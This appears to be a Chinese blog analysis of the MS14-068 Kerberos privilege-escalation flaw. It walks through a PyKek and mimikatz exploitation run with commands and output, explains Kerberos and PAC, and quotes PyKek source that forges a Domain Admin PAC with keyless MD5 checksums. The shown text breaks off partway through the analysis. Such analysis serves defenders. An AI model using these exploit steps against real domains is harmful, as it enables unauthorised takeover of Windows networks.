深入解读MS14-068漏洞:微软精心策划的后门?

0×0 背景


初次认识该漏洞是在FreeBuf上对该漏洞的预警《漏洞预警:系统权限提升漏洞(CVE-2014-6324)影响全版本Windows服务器》:

微软今天(2014-11-18)发布了一个紧急补丁,修复了一个影响全部版本Windows服务器的严重漏洞。今天发布的MS14-068漏洞补丁用于解决Microsoft Windows Kerberos KDC漏洞(CVE-2014-6324),该漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后,该域用户就可以控制整个域的所有机器了。http://www.freebuf.com/articles/system/52127.html

那么,问题来了,该漏洞的威力真的有这么大吗?

网上出现了Github上爆出的该漏洞的Python利用程序,Python Kerberos Exploitation Kit,也就是PyKek,当然,其它站点也都开始了转发。经过测试,Win7的普通域用户运行该漏洞程序确实能够成为域管理员权限。但网上大家的测试都是在域用户的本地账户中才能测试成功。

为什么Windows关于MS14-068的公告板中并没有提出这一点?按道理来说,越是有限制的漏洞利用对软件开发人员越是有利的,漏洞利用的机会越少,他们受到的谴责就会越少。

那么,问题又来了,真的只能用域用户的本地账户漏洞才能利用成功吗?

自从Freebuf发布该漏洞预警后,再也没看到另有分析文章出现,甚至也没有POC,这让我为心目中伟大的Freebuf捉急哇,心情低落到极点,所以,自己决心从头开始研究该漏洞。

这样的话,问题又来了,作为不懂Kerberos协议的小白,这个漏洞到底是怎么产生的?

带着种种疑问,我开始了分析之旅,时隔半月,分析完成后,没想到却发现了一个“惊天的秘密”。接下来我将从下面几点向大家分析一下关于这个漏洞的方方面面,来揭示这个笔者认为有人“精心策划”的漏洞。

0×1 Python版PoC的测试利用


首先网上的Python版PyKek,搭建域环境、Python环境,对该漏洞进行了测试:

(1)测试环境

目的:将普通域用户权限提升为域控权限(漏洞利用后,net
use \\swg.server.com\c$可以直接访问域控的网络资源)

1png.png

(2)测试步骤

A.利用域账户domainuser/Dom12345登录普通域机器Win7,获得该域账户的域SID:

C:\Users\domainuser>whoami /userUSER INFORMATION----------------User Name         SID================= ==============================================server\domainuser S-1-5-21-2149786114-2952224942-3109326506-1120
B.以本地账户test/123456登录普通域机器Win7,运行PyKek漏洞利用程序:

C:\Users\test> ms14-068.py -u domainuser@SERVER.COM -p Dom12345 -s S-1-5-21-2149786114-2952224942-3109326506-1120 -d swg.server.com[+]Building AS-REQ for swg.server.com... Done![+]Sending AS-REQ to swg.server.com... Done![+]Receiving AS-REP from swg.server.com... Done![+]Parsing AS-REP from swg.server.com... Done![+]Building TGS-REQ for swg.server.com... Done![+]Sending TGS-REQ to swg.server.com... Done![+]Receiving TGS-REP from swg.server.com... Done![+]Parsing TGS-REP from swg.server.com... Done![+]Creating ccache file 'TGT_domainuser@SERVER.COM.ccache'... Done!
此时在C:\Users\test文件件会产生MIT格式的TGT文件TGT_domainuser@SERVER.COM.ccache

C.利用mimikatz工具将得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书:

C:\Users\test> Mimikatz “kerberos:ptc C:\ Users\test\TGT_domainuser@SERVER.COM.ccache” exit.#####.  mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 20 2014 01:35:31).## ^ ##.   ##/ \ ##  /* * * ##\ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )'## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)'#####'                                    with 15 modules * * */mimikatz(commandline)# kerberos::ptc TGT_domainuser@server.com.ccachePrincipal : (01) : domainuser ; @ SERVER.COM Data 0 Start/End/MaxRenew: 2015/1/9 上午08:02:44 ; 2015/1/9 下午06:02:44 ; 2015/1/16 上午08:02:44 Service Name (01) : krbtgt ; SERVER.COM ; @ SERVER.COM Target Name  (01) : krbtgt ; SERVER.COM ; @ SERVER.COM Client Name  (01) : domainuser ; @ SERVER.COM Flags 50a00000    : pre_authent ; renewable ; proxiable ;forwardable ; Session Key       : 0x00000017 - rc4_hmac_nt         789c8f099b3ca4cd52e7156c4af4f977 Ticket            : 0x00000000 - null              ; kvno = 2[...] * Injecting ticket : OKmimikatz(commandline)# exitBye!
利用klist命令能够看到mimikatz创建缓存证书前后的区别。

创建缓存证书之前:

C:\Users\test>klistCurrent LogonId is 0:0xcaf61Cached Tickets: (0)
创建缓存之后:

C:\Users\test>klistCurrent LogonId is 0:0xcaf61Cached Tickets: (1)#0>  Client: domainuser @ SERVER.COM  Server: krbtgt/SERVER.COM @ SERVER.COM  KerbTicket  Encryption Type: RSADSI RC4-HMAC(NT)  Ticket Flags 0x50a00000 -> forwardable proxiable renewable pre_authent  Start Time: 1/9/2015 8:02:44 (local)  End Time:   1/9/2015 18:02:44 (local)  Renew Time: 1/16/2015 8:02:44 (local)  Session Key Type: RSADSI RC4-HMAC(NT)
D. 在普通域机器Win7的本地账户中执行:

C:\Users\test>net use \\swg.server.com\c$The command completed successfully.
你会惊奇地发现,不用提供Win2003域控的账号密码就直接可以连接到其C盘,也就是说,现在可以访问Win2003域控机器C盘:

C:\Users\test>dir \\swg.server.com\c$Volume in drive \\swg.server.com\c$ has no label.Volume Serial Number is 9043-9FDFDirectory of \\swg.server.com\c$2014/02/09 下午10:49  0             AUTOEXEC.BAT2014/02/09 下午10:49  0             CONFIG.SYS2014/02/09 下午10:53 <DIR>          Documents and Settings2014/12/11 下午04:12 <DIR>          Inetpub2014/12/11 下午04:11 <DIR>          Program Files2015/01/09 上午08:19 0              server_log.txt2015/01/05 下午04:10 <DIR>          WINDOWS2014/02/09 下午10:50 <DIR>          wmpub3 File(s)              0 bytes5 Dir(s)  39,857,291,264 bytes free
正如宣称的那样,漏洞成功利用后,域用户在不知道域控密码的情况下,可以随意访问域控上的资源,怪不得大家都说,有了这个漏洞,再也不用狂扫密码了。

这是网上普遍转发的一种漏洞利用姿势,需要注意的是,域SID是以域用户登录Win7域机器获得的,而漏洞利用则是在该域机器的本地账户下才能测试成功。如果搭建了测试环境,你会发现,“先用域账户获得SID,然后不得不再登录本地账户测试漏洞”这一过程是多么繁(dan)琐(teng)。

当然,后面会讨论为什么在域账户下无法利用成功,并提出一种绕过方法。

漏洞利用就是这样的,接下来我们分析一下这个漏洞到底是怎样产生的。

0×2 关于Kerberos协议

在谈MS14-068漏洞之前,有必要先了解一下Kerberos协议。

Kerberos协议是一种基于第三方可信主机的计算机网络协议,它允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下以一种安全的方式证明自己的身份。
下面我们从Kerberos是如何设计出来的来学习该协议的原理。

这个协议解决的根本问题,假设A和B共有一个秘密,在一个非安全网络环境中,A怎样才能向B证明自己就是A。

最简单的方式就是,A直接将秘密发送给B,由B来判断这个秘密的真伪。但在非安全网络环境中,秘密可能会被窃听或中间人攻击,所以这种方式不可取。

接下来考虑的是,A用秘密作为密钥加密一段文字生成一段密文,然后将文字本身和密文一起发给B,B接收后用秘密解密密文得到文字,然后和接收的文字对比,如果两者一致,那么也能证明秘密的正确性,从而也能验证A的身份。

但如果该认证请求被窃听,攻击者能得到加密后密文和加密前的明文,只要时间允许,总能推导出密钥的数值,也就是秘密肯定会被窃取。所以密码界有个规定,长期存在的密钥不适合在网络中传输,否则总会有被窃取的风险。

不使用长期存在的密钥,那使用短期存在的密钥进行验证应该是没问题的,关键是,谁来提供这个短期存在密钥给A和B?于是就出现了第三方可信机构Key Distribution Center,KDC。

在请求认证之前,Client-A先去向KDC申请本次向Server-B认证需要的Session Key,由KDC将Session Key分发给Client-A和Server-B,最后Client-A就可以利用这个Session Key向Server-B进行认证了。为了Session Key不被窃取,该Session Key用A和B自身的密码分别加密:

2.png



这里会有两个问题:

(1)A向KDC申请Session Key,它可能很快就收到Session Key,但B可能因为网络环境原因,很晚或者根本收不到Session Key,这样就导致认证无法进行,解决办法就是,KDC将两份加密的Session Key都发给A,由A在向B发出认证请求时将原本属于Server-B的Session Key一同发送给Server-B

(2)A提出Session Key的申请时,KDC凭什么就生成了Session Key给了A,也就是说,KDC缺乏对A的认证,所以在分发Session Key之前,KDC需要增加对A的认证,解决办法就是,将KDC机构分成两部分:

AS:Authentication Service,用于KDC对A的认证
TGS:Ticket Granting Ticket,用于KDC向A和B分发Session Key
另外,还有一点需要注意的是,为了对短期有效的Session Key进行验证,Kerberos协议要求系统内的所有主机基于时间同步,所以Client-A向Server-B进行认证就不用Session Key加密一段密文后还得发送一段明文过去,直接用Session Key加密当前时间即可。

到此为止,整个Kerberos协议大体框架已经出来了:

3.png

需要注意的是,这里涉及到两个Session Key的申请,一个是Session Keya-kdc,另一个是Session
Keya-b,这是因为基于刚才的三方认证以及尽量使用短期有效密钥的思想,本协议变成了两次三方认证:

(1)AS作为Client-A与TGS之间的第三方,需要完成对A进行认证,同时为Client-A向TGS提出Session
Keya-b请求提供一个Session Keya-kdc,根据刚才的分析,为了防止TGS无法收到Session Key,如图第②步,原本需要发往TGS的Session Keya-kdc(被KDC密码加密为TGT)会一同发往Client-A,由Client-A在第③步中转交给TGS

(2)TGS作为Client-A与Server-B之间的第三方,需要为A和B分别提供Session Keya-b,为了防止Server-B无法收到Session Key,如图第④步,原本需要发往Server-B的Session Keya-b(被Server-B密码加密为service Ticket)会一同发往Client-A,由Client-A在第⑤步中转交给Server-B

上述过程也就是Kerberos协议的基本框架,基于微软对Kerberos的介绍,上面其实对应的是下面微软提供的Kerberos协议流程:

IC195542.gif

或者你也可以认为,是网上解释MS14-068漏洞时用的这张示意图:

kerberos.gif

具体来说,Kerberos协议分为以下步骤(第六步可选):

第①步:KRB_AS_REQ:Client-A发送Authenticator向KDC的AS服务认证自己的身份(通过提供自身密码加密的一个时间戳TimeStamp)

第②步:KRB_AS_REP:AS通过KDC数据库中存储的Client-A密码的副本,解密收到的Authenticator,如果解密出的TimeStamp符合要求,则AS服务认为Client-A就是所谓的Client-A。认证成功后,AS服务生成一个短期有效的Session Keya-kdc,将该Key使用A的密码副本加密成密文1,另外将Key连同时间戳标志(控制该Session Key的有效时间)通过TGS服务的密码也就是KDC的密码加密为密文2(称为TGT),将这两个密文组合成KRB_AS_REP返回给Client-A

第③步:KRB_TGS_REQ:Client-A在接收到KRB_AS_REP后,首先使用自身密码解密密文1得到Session Keya-kdc,此时需要注意的是,密文2(TGT)是被KDC的密码加密的,所以Client-A无法解密,这也是Kerberos协议设计的精妙之处,既解决了Server端(TGS相对于Client-A也称之为Server端)无法及时接收Session Key的问题,又不怕Client-A对该TGT的伪造,因为Client-A不知道Server端的密码

得到Session Keya-kdc后,Client-A利用其加密时间戳生成Authenticator用于向TGS申请Client-A与Client-B进行认证所需的Session Keya-b,连同刚才KRB_AS_REP接收的TGT一同组合成KRB_TGS_REQ发送给TGS

第④步:KRB_TGS_REP:TGS在接收到KRB_TGS_REP之后,利用KDC密码解密TGT获得本来就该发送给自己的Session Keya-kdc,然后用其解密KRB_TGS_REQ中的Authenticator得到Client-A发送过来的时间戳,如果时间戳符合要求,则生成一个短期有效的Session Keya-b,注意此时利用Session Keya-kdc将Session Keya-b加密为密文1,然后利用Server-B的密码将Session Keya-b加密为密文2(称为Service Ticket),两个密文一同构成KRB_TGS_REP返回给Client-A

第⑤步:KRB_AP_REQ:Client-A在接收到KRB_TGS_REP之后,首先使用缓存的Session Keya-kdc将密文1中的Session Keya-b解密出来,然后利用其加密时间戳生成Authenticator用于向B进行对自身的验证,另外,和刚才TGT一样,密文2也就是Service Ticket是用Server-B的密码加密的,所以Client-A无法解密,也就无法伪造,这也同样解决了在三方认证中作为Server端的B无法及时接收Session Key的问题,又不怕Client-A对Service Ticket的伪造

第⑥步:KRB_AP_REP:Server-B受到KRB_AP_REQ之后,利用自身密码解密Service Ticket,得到Session Keya-b,然后用Session Keya-b解密Authenticator得到时间戳,验证A的身份

这就是整个Kerberos协议的基本流程。

0×3 PAC与Kerberos的关系

上面是标准Kerberos协议的基本流程,MIT也实现了一套标准的Kerberos协议,而微软在Windows平台上的Kerberos并没有采用MIT的实现,而是对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege
Attribute Certificate),特权属性证书。

为什么会增加这些呢?可以这样理解,当用户Client-A与Server-B完成认证,只是向Server-B证明了Client-A就是所谓的Client-A,但此时Client-A如果需要访问Server-B上的网络资源,但Server-B现在其实并不知道Client-A是否有访问自身网络资源的权限(Kerberos协议中并没有规定权限问题)

难不成此时Server-B必须再向KDC验证Client-A是否有访问网络资源的权限?当然不是,微软实现Kerberos认证协议的同时巧妙地引入了PAC解决了这个问题。(至少MS14-068漏洞之前大家是这样认为的)

在一个域中,如何才能知道某个域用户所拥有的权限呢?自然是需要提供User SID和所在组Group SID。必须了解的一个前提是,KDC、A和B三者中,B只信任KDC所提供的关于A到底是什么权限,所以在一个域初始时,KDC上拥有A和B的权限。现在需要解决的是,KDC必须告诉B关于A的权限,这样B验证A的权限后才能决定让不让A访问自身的网络资源。

为了最终使得Server-B能知道Client-A所具有的权限,微软在KRB_AS_REP中的TGT中增加了Client-A的PAC(特权属性证书),也就是Client-A的权限,包括Client-A的User SID、Group SID:

ddd.png

可以看到被KDC加密的TGT中,不仅包括了被加密的Session Keya-kdc,还包括KRB_AS_REQ中申请者(Client-A)的权限属性证书,为了防止该特权证书被篡改(即使被KDC加密,Client-A无法轻易解密,但谁也无法保证绝对的安全),在PAC的尾部增加了两个校验Server Signature和KDC Signature:

这两个校验一个是Server Signature,另一个是KDC Signature,对于Client-A与AS服务来说,Server代表的是TGS服务,KDC代表的是AS服务(AS作为Client-A与TGS的第三方信任机构),而AS服务与TGS服务具有相同的krgtgt账号,所以这两个校验都是krgtgt账号的密码生成的,当然,整个TGT也是用KDC的密码也就是krgtgt账号密码加密的,它们三者不同的是,用的算法和加密内容有所不同。

微软是这样打算的,无论如何也要把PAC从KDC传送到Server-B,为了在Kerberos认证过程中实现,微软选择了如下做法:

将PAC放在TGT中加密后从AS服务经Client-A中转给TGS服务,再放在由TGS服务返回的Service Ticket中加密后经Client-A中转给Server-B

4.png

需要注意的是,在KRB_TGS_REQ阶段,携带PAC的TGT被TGS服务接收后,认证A的合法性后(解密Authenticator符合要求)会将PAC解密出来,验证尾部两个签名的合法性,如果合法则认为PAC没有被篡改,于是重新在PAC的尾部更换了另外两个签名,一个是Server Signature,这次是以Server-B的密码副本生成的签名(因为对于Client-A和Server-B,这次的第三方机构是TGS服务),另外一个是KDC Signature,这次不再使用KDC的长期有效的Key,而是使用在AS阶段生成的短期有效的Session Keya-b,(网上说的是第二个签名仍旧是KDC Key,但如果用KDC中krgtgt账号密码生成签名,最后转发给Server-B后,由于没有krbtgt的密码而无法验证第二个签名的正确性,所以这里用Session Keya-b生成签名才是合理的,或许这里理解错了,敬请指出)最终成为New Signed PAC被拷贝在Serverice Ticket中被加密起来。

最终绕过来绕过去,KDC上所拥有的关于Client-A的权限证书PAC终于发给了Server-B,Server-B在对Client-A进行认证的同时,同时也能判断Client-A有没有访问网络资源的权限。

到这里PAC与Kerberos协议的关系也就明朗了。

0×4 从Pykek源码分析MS14-068漏洞

现在切入正题,开始研究MS14-068漏洞的产生。

首先看一下微软关于MS14-068公告板:

This
security update resolves a privately reported vulnerability in Microsoft Windows Kerberos KDC that could allow an attacker to elevate unprivileged domain user account privileges to those of the domain administrator account.
An attacker could use these elevated privileges to compromise any computer in the domain, including domain controllers. An attacker must have valid domain credentials to exploit this vulnerability. The affected component is available remotely to users who have standard user accounts withdomain credentials;this is not the case for users with local account credentialsonly.
仔细看看,其实这个公告板就是说了这个洞的危害,可以把没有域控权限的普通域用户提权为域控权限。另外,网上也有两种对该漏洞产生原因的说法:

从客户端解释:

当用户进行登录身份验证服务,服务会验证PAC中的签名,并使用PAC中的数据为用户创建一个登录令牌。譬如说,如果PAC能够携带有效的签名表明“Secpulse”是“域管理”安全组的成员,那么创建的登录令牌就将Secpulse当作“域管理”组中成员。这样的Kerberos认证存在问题,攻击者可以伪造身份,从域用户提升到域管理权限。
从服务端解释:

微博@jacktang310
程序员在实现KDC服务器的PAC signature时没有严格控制使用checksum的算法,在原来的设计中要用到HMAC系列的checksum算法,也就是必须要有key的参与,但实现的时候允许所有的checksum算法都可以,包括MD5,这样客户端就可以伪造PAC的包了。
从上面的说法来看,该漏洞利用是通过客户端来伪造高权限的PAC产生的,但根据前面对PAC与Kerberos关系的分析,貌似没有破绽来说明客户端有机会伪造PAC,那到底是怎么回事呢?带着这个疑惑,我开始分析了Github上很火的PyKek攻击包源码。

首先,在0×1小节POC代码测试步骤C中,使用Pykek攻击包期间利用Wireshark抓包如下:

pykek.png

mimikatz在内存新建缓存证书后,net
use过程中的抓包如下:

net use.png

看到抓包结果,我立即产生了两个疑惑:

(1)传说中Kerberos协议中的KRB_AP_REQ和KRB_AP_REP过程哪里去了?
(2)为什么会产生两次TGS_REQ和TGS_REP过程??
第一个问题的原因很好解决,查阅资料得知,由于Kerberos协议是一种认证网络协议,它通常是其它网络有关协议的前提,比如说SMB(net use命令)、FTP等,在SMB等协议的实现中SMB第一个请求包实际上会包含KRB_AP_REQ,这也就是协议整合吧,我们通过打开第一个SMB请求的数据包就可发现:

ap_req.png

而第二个问题,到底为什么会产生两次TGS_REQ和TGS_REP过程,这个疑惑基本是我在全部分析完整个漏洞才搞懂的,但它却影响了我整个分析过程,下面一点点向大家解释。

既然网上都说,本次漏洞利用是通过客户端伪造高权限PAC产生的,那PyKek工具产生的AS_REQ、AS_REP和TGS_REQ、TGS_REP过程中肯定有端倪,下面我们从PyKek源码仔细分析一下。

nonce = getrandbits(31)current_time = time()as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce,pac_request=False) #bulid as_reqsock = send_req(as_req, kdc_a) #send as_reqdata = recv_rep(sock) #recv as_repas_rep, as_rep_enc = decrypt_as_rep(data, user_key)#decrypte as_repsession_key = (int(as_rep_enc['key']['keytype']),str(as_rep_enc['key']['keyvalue']))  # get session key1logon_time = gt2epoch(str(as_rep_enc['authtime']))tgt_a = as_rep['ticket']  #get ticketsubkey = generate_subkey()nonce = getrandbits(31)current_time = time()pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid,logon_time))  #build PACtgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name, tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False) #build tgs_reqsock = send_req(tgs_req, kdc_a) #send tgs_reqdata = recv_rep(sock) #recv tgs_reptgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)  #decrypt tgs_repsession_key2 = (int(tgs_rep_enc['key']['keytype']),str(tgs_rep_enc['key']['keyvalue'])) #get session key2tgt_b = tgs_rep['ticket'] #get ticketcc = CCache((user_realm, user_name))tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2)cc.add_credential(tgs_cred)#CreateCredentials of tickets to filenamecc.save(output_filename)
可以看到,真个漏洞利用过程经历了以下几步:

Build
AS_REQ–>Send AS_REQ
Recv
AS_REP–>Get Session key1 and get TGT_a
Build
PAC–>Build TGS_REQ–>Send TGS_REP
Recv
TGS_REP–>get Session key2 and get TGT_b

不知道你是否注意,接收AS_REP后,能解密得到TGT,但接收TGS_REP后,却同样接收的是TGT,这是怎么回事?原理上不是说TGS_REP之后,Client端接收的是Service
Ticket吗?其实这就是该漏洞的根源,下面根据源码逐步分析一下具体过程。

0×4.1 构造AS_REQ

首先看一下AS_REQ的构造过程,这里是代码主体:

def build_as_req(target_realm, user_name, key, current_time, nonce, pac_request=None): #pvno msg-type as_req = AsReq() as_req['pvno'] = 5 as_req['msg-type'] = 10 #padata pa_ts = build_pa_enc_timestamp(current_time, key) as_req['padata'] = None as_req['padata'][0] = None as_req['padata'][0]['padata-type'] = 2 as_req['padata'][0]['padata-value'] = encode(pa_ts) if pac_request is not None: pa_pac_request = KerbPaPacRequest() pa_pac_request['include-pac'] = pac_request as_req['padata'][1] = None as_req['padata'][1]['padata-type'] = 128 as_req['padata'][1]['padata-value'] = encode(pa_pac_request) #req_body req_body = build_req_body(target_realm, 'krbtgt', target_realm, nonce, cname=user_name) as_req['req-body'] = _v(4, req_body)return as_req
上面对于AS_REQ的构造,主要用current_time和Key构造了用于提交给AS服务验证的Authenticator,另外,却增加了一个include-PAC标志,通过查看源代码,发现该include-PAC标志被设置为了false:

as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False)
查阅资料得知,微软在实现PAC的过程中,特意增加了一个include-PAC标志,通常情况下,AS_REQ请求中如果该标志被设置为true,只要AS服务对Client-A通过认证,那么会在返回的AS_REP数据包中的TGT中加入PAC信息;而如果在AS_REQ请求时,include-PAC标志被设置为false,那么AS_REP返回的TGT中就不会包含PAC信息。

这一点,我们在刚才Wireshark抓包中显示AS_REQ数据包和AS_REP数据包的大小就可以看出来(通常携带PAC信息的AS_REP数据包可以达到上千字节)。

0×4.2 接收AS_REP

将AS_REQ发送给KDC后,KDC按照协议规定将会返回两个东西:利用user_key加密的Session Keya-kdc和被KDC密码加密的TGT(不包含PAC信息)。下面我们看一下PyKek是如何接收AS_REP并解密的:

data = recv_rep(sock)
as_rep, as_rep_enc = decrypt_as_rep(data, user_key)
session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue']))
logon_time = gt2epoch(str(as_rep_enc['authtime']))
tgt_a = as_rep['ticket']
具体对session_key的解密也和之前的原理类似:

def _decrypt_rep(data, key, spec, enc_spec, msg_type):
  rep = decode(data, asn1Spec=spec)[0]
  rep_enc = str(rep['enc-part']['cipher'])
  rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)
  #解密rep['enc-part']['cipher']
  rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]
return rep, rep_enc
根据上面的接收过程,并参考Wireshark对AS_REP的截图更形象地理解整个解密过程:

as_rep.png

0×4.3 构造PAC及TGS_REQ

之后,PyKek就开始了最重要的一步:构造PAC并放入TGS_REQ中。下面是整个过程:

subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
#build pac
pac = (AD_WIN2K_PAC, build_pac(user_realm,
user_name, user_sid, logon_time))
#build tgs req
tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name, tgt_a,session_key, subkey, nonce, current_time,pac, pac_request=False)
分别看一下两个过程。

0×4.3.1 构造PAC

def build_pac(user_realm, user_name, user_sid, logon_time, server_key=(RSA_MD5, None), kdc_key=(RSA_MD5, None)):
logon_time = epoch2filetime(logon_time)
domain_sid, user_id = user_sid.rsplit('-', 1)
user_id = int(user_id)
elements = []
elements.append((PAC_LOGON_INFO,_build_pac_logon_info(domain_sid,
user_realm, user_id, user_name, logon_time)))
elements.append((PAC_CLIENT_INFO,_build_pac_client_info(user_name, logon_time)))
elements.append((PAC_SERVER_CHECKSUM, pack('I', server_key[0]) + chr(0)*16))
elements.append((PAC_PRIVSVR_CHECKSUM, pack('I', kdc_key[0]) + chr(0)*16))
buf = ''
# cBuffers
buf += pack('I', len(elements))
# Version
buf += pack('I', 0)
offset = 8 + len(elements) * 16
for ultype, data in elements:
  buf += pack('I', ultype)
# Buffers.cbBufferSize
buf += pack('I', len(data))
buf += pack('Q', offset)  
offset = (offset + len(data) + 7) / 8 * 8
for ultype, data in elements:
if ultype == PAC_SERVER_CHECKSUM:
ch_offset1 = len(buf) + 4
elif ultype == PAC_PRIVSVR_CHECKSUM:
ch_offset2 = len(buf) + 4
buf += data
buf += chr(0) * ((len(data) + 7) / 8 * 8 - len(data))
  chksum1 = checksum(server_key[0], buf, server_key[1])  #采用MD5构造签名
  chksum2 = checksum(kdc_key[0], chksum1, kdc_key[1])
buf = buf[:ch_offset1] + chksum1 +
buf[ch_offset1+len(chksum1):ch_offset2] + chksum2 +
buf[ch_offset2+len(chksum2):]
return buf
由于前面我们学习了PAC的整个结构,所以不难看出来该地方构造的PAC由三部分组成:

User
SID & Group SID
Chksum
of Server_key
Chksum
of Kdc_key

通过深入跟踪源码,可以看出,User
SID & Group SID的构造中,其实是将该域用户的SID截断,留取前面的部分:

  domain_sid, user_id = user_sid.rsplit('-', 1)
然后构造高权限的User
SID & Group SID:

# GroupIds[0]
buf[0] += _build_groups(buf, 0x2001c, [
(513, SE_GROUP_ALL),
(512, SE_GROUP_ALL),
(520, SE_GROUP_ALL),
(518, SE_GROUP_ALL),
(519, SE_GROUP_ALL)
])
对于后面两个chksum的构造:

  chksum1 = checksum(server_key[0], buf, server_key[1])
  chksum2 = checksum(kdc_key[0], chksum1, kdc_key[1])
由前面的定义可知:

server_key=(RSA_MD5, None), kdc_key=(RSA_MD5, None)
可以很容易看出,这里直接用不需要Key的MD5构造的签名。也就是说什么什么意思呢,只要用户构造了前面的data(User
SID & Group SID),只需对data进行MD5运算,生成一个32位的MD5值即可。

服务端对于MD5签名又是如何验证的呢?它只需要将前面的data取出来,进行MD5运算,如果得到的MD5值,与后面的签名一致,则认为该签名合法。

但是,到这里,可能会有疑问,关于PAC尾部的签名,不是说需要server_key和kdc_key的参与吗?这就是微软犯的第一个错误:

在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。

所以PyKek在客户端的攻击代码中很巧妙地利用了这个漏洞,规定使用不需要Key的MD5进行签名,只要签名构造的User
SID & Group SID权限信息在传输过程中不改变,那么服务端肯定能验证通过。

那肯定有人还有疑问,PAC不是被放在TGT中吗?但根据include-PAC标志设置为false后,AS_REP解密得到的TGT是不携带PAC信息的,难不成要把构造的PAC放在TGT中?但TGT是被KDC密码加密的,客户端根本无法解密。

这就是微软犯的第二个错误:

PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方。但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息。

下面我们通过TGS_REQ的构造过程来看一下这个错误。

0×4.3.2 构造TGS_REQ

调用:

tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm,
user_name, tgt_a,session_key,subkey, nonce, current_time,pac, pac_request=False)
定义:

def build_tgs_req(target_realm, target_service, target_host, user_realm, user_name, tgt, session_key,subkey, nonce, current_time, authorization_data=None,
pac_request=None):
if authorization_data is not None:
ad1 = AuthorizationData()
ad1[0] = None
ad1[0]['ad-type'] = authorization_data[0]
ad1[0]['ad-data'] = authorization_data[1]
ad = AuthorizationData()
ad[0] = None
ad[0]['ad-type'] = AD_IF_RELEVANT
ad[0]['ad-data'] = encode(ad1)
      enc_ad = (subkey[0], encrypt(subkey[0], subkey[1], 5, encode(ad)))
else:
ad = None
enc_ad = None
req_body = build_req_body(target_realm,
target_service, target_host, nonce, authorization_data=enc_ad)
chksum = (RSA_MD5, checksum(RSA_MD5, encode(req_body)))
authenticator = build_authenticator(user_realm, user_name, chksum, subkey,
current_time)
ap_req = build_ap_req(tgt,
session_key, 7, authenticator)
tgs_req = TgsReq()
tgs_req['pvno'] = 5
tgs_req['msg-type'] = 12
tgs_req['padata'] = None
tgs_req['padata'][0] = None
tgs_req['padata'][0]['padata-type'] = 1
tgs_req['padata'][0]['padata-value'] = encode(ap_req)
if pac_request is not None:
pa_pac_request = KerbPaPacRequest()
pa_pac_request['include-pac'] = pac_request
tgs_req['padata'][1] = None
tgs_req['padata'][1]['padata-type'] = 128
tgs_req['padata'][1]['padata-value'] = encode(pa_pac_request)
tgs_req['req-body'] = _v(4, req_body)
return tgs_req
通过上面的构造过程,结合Wireshark对TGS_REQ的截图:

tgs_req.png



可以得知,PAC被放在了TGS_REQ数据包中的REQ_BODY中,被subkey加密了,而TGT被放在REQ_BODY前面的PADATA中,这也就是说,TGT中没有携带PAC信息,并且可以注意到,TGS_REQ中也设置了include-PAC标志信息为false。

另外得知,PAC信息被subkey加密,我们看一下subkey的来源:

subkey = generate_subkey()
def generate_subkey(etype=RC4_HMAC):
if etype != RC4_HMAC:
  raise NotImplementedError('Only RC4-HMAC supported!')
key = random_bytes(16)
return (etype, key)
subkey竟然是Client端生成的一个随机数!

PyKek为了使得KDC能够解密获取被加密在REQ_BODY中的PAC信息,也一并把这个生成的subkey随机数放在TGS_REQ数据包中的Authenticator发给了KDC服务器。

在KDC接收TGS_REQ后,可笑的是,它可以把PAC信息给解密出来了,并且由于微软犯的第一个错误:允许任意加密算法的签名,很明显,该PAC信息会被验证为合法的PAC信息。

也就是说,微软所犯第二个错误触发的两个关键:

(1)在TGS_REQ的REQ_BODY中放上被加密的PAC信息,并把加密用到的Subkey放到Authenticator中

(2)TGS_REQ数据包中的include-PAC标志被设置为false

只要按照上面的要求构造TGS_REQ数据包,KDC就会“错误地”将PAC信息解密并验证签名正确性,但你以为这样就完了吗?接下来,还有更令人吃惊的事情会发生。

0×4.4 接收TGS_REP

tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)
session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue']))
tgt_b = tgs_rep['ticket']
下面是具体解密的实现过程:

def decrypt_tgs_rep(data, key):
return _decrypt_rep(data, key, TgsRep(), EncTGSRepPart(), 9)
def _decrypt_rep(data, key, spec, enc_spec, msg_type):
rep = decode(data, asn1Spec=spec)[0]
rep_enc = str(rep['enc-part']['cipher'])
rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)
rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]
return rep, rep_enc
根据Kerberos协议原理可知,在返回的TGS_REP中,TGS服务会返回给Clinet-A两个东西:被Session Keya-kdc加密的Session Keya-b,另外一个是Service Ticket,但从上面解密的过程中,Client-A解密获取Session Keya-b竟然用的是Subkey,而我们知道,subkey是一个客户端随意生成的随机数,这到底是怎么回事?

